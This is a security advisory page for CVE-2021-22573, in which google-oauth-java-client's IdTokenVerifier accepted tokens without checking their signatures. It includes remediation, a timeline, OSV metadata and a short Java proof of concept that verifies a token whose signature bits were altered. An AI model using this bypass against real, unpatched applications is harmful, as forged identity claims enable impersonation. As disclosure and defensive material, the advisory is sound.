ghsa-hw42-3568-wj87
Vulnerability from github
Summary
The vulnerability impacts only users of the IdTokenVerifier class. The verify method in IdTokenVerifier does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token's payload comes from valid provider, not from someone else.
An attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application.
If the application sends verified IdToken to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request.
Reporter: Tamjid al Rahat, contributor
Patches
The issue was fixed in the 1.33.3 version of the library
Proof of Concept
To reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function.
``` /* A default http transport factory for testing / static class DefaultHttpTransportFactory implements HttpTransportFactory { public HttpTransport create() { return new NetHttpTransport(); } }
// The below token has some modified bits in the signature
private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE =
"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG" +
"VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm" +
"NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy" +
"Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26" +
"FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ" +
"QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby" +
"QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx" +
"ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg";
IdTokenVerifier tokenVerifier = new IdTokenVerifier.Builder() .setClock(clock) .setCertificatesLocation("https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com") .setHttpTransportFactory(new DefaultHttpTransportFactory()) .build();
// verification will return true despite modified signature for versions <1.33.3 tokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE));
```
Remediation and Mitigation
Update to the version 1.33.3 or higher
If the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example: google-auth-library-java google-api-java-client
Timeline
Date reported: 12 Dec 2021 Date fixed: 13 Apr 2022 Date disclosed: 2 May 2022
For more information
If you have any questions or comments about this advisory: * Open an issue in the google-oauth-java-client repo
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.oauth-client:google-oauth-client"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0-rc"
},
{
"fixed": "1.33.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-22573"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-09T15:11:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe vulnerability impacts only users of the `IdTokenVerifier` class. The verify method in `IdTokenVerifier` does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token\u0027s payload comes from valid provider, not from someone else.\n\nAn attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application. \n\nIf the application sends verified `IdToken` to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request. \n\nReporter: [Tamjid al Rahat](https://github.com/tamjidrahat), contributor\n\n### Patches\nThe issue was fixed in the 1.33.3 version of the library\n\n### Proof of Concept\nTo reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function.\n\n```\n /** A default http transport factory for testing */\n static class DefaultHttpTransportFactory implements HttpTransportFactory {\n public HttpTransport create() {\n return new NetHttpTransport();\n }\n }\n\n// The below token has some modified bits in the signature\n private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE = \n\"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG\" +\n\"VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm\" +\n\"NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy\" +\n\"Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26\" +\n\"FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ\" + \n\"QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby\" +\n\"QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx\" + \n\"ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg\";\n\nIdTokenVerifier tokenVerifier =\n new IdTokenVerifier.Builder()\n .setClock(clock)\n .setCertificatesLocation(\"https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com\")\n .setHttpTransportFactory(new DefaultHttpTransportFactory())\n .build();\n\n// verification will return true despite modified signature for versions \u003c1.33.3\ntokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE));\n\n```\n\n### Remediation and Mitigation\nUpdate to the version 1.33.3 or higher \n\nIf the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example: \n[google-auth-library-java](https://github.com/googleapis/google-auth-library-java/blob/main/oauth2_http/java/com/google/auth/oauth2/TokenVerifier.java)\n[google-api-java-client](https://github.com/googleapis/google-api-java-client/blob/main/google-api-client/src/main/java/com/google/api/client/googleapis/auth/oauth2/GoogleIdTokenVerifier.java)\n\n### Timeline\nDate reported: 12 Dec 2021\nDate fixed: 13 Apr 2022\nDate disclosed: 2 May 2022\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [google-oauth-java-client](https://github.com/googleapis/google-oauth-java-client) repo",
"id": "GHSA-hw42-3568-wj87",
"modified": "2024-04-09T15:11:24Z",
"published": "2024-04-09T15:11:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/googleapis/google-oauth-java-client/security/advisories/GHSA-hw42-3568-wj87"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22573"
},
{
"type": "WEB",
"url": "https://github.com/googleapis/google-oauth-java-client/pull/872"
},
{
"type": "WEB",
"url": "https://github.com/googleapis/google-oauth-java-client/commit/c634ad4e31cac322bb1aa8a9feb0569749011bf0"
},
{
"type": "PACKAGE",
"url": "https://github.com/googleapis/google-oauth-java-client"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "google-oauth-java-client improperly verifies cryptographic signature"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.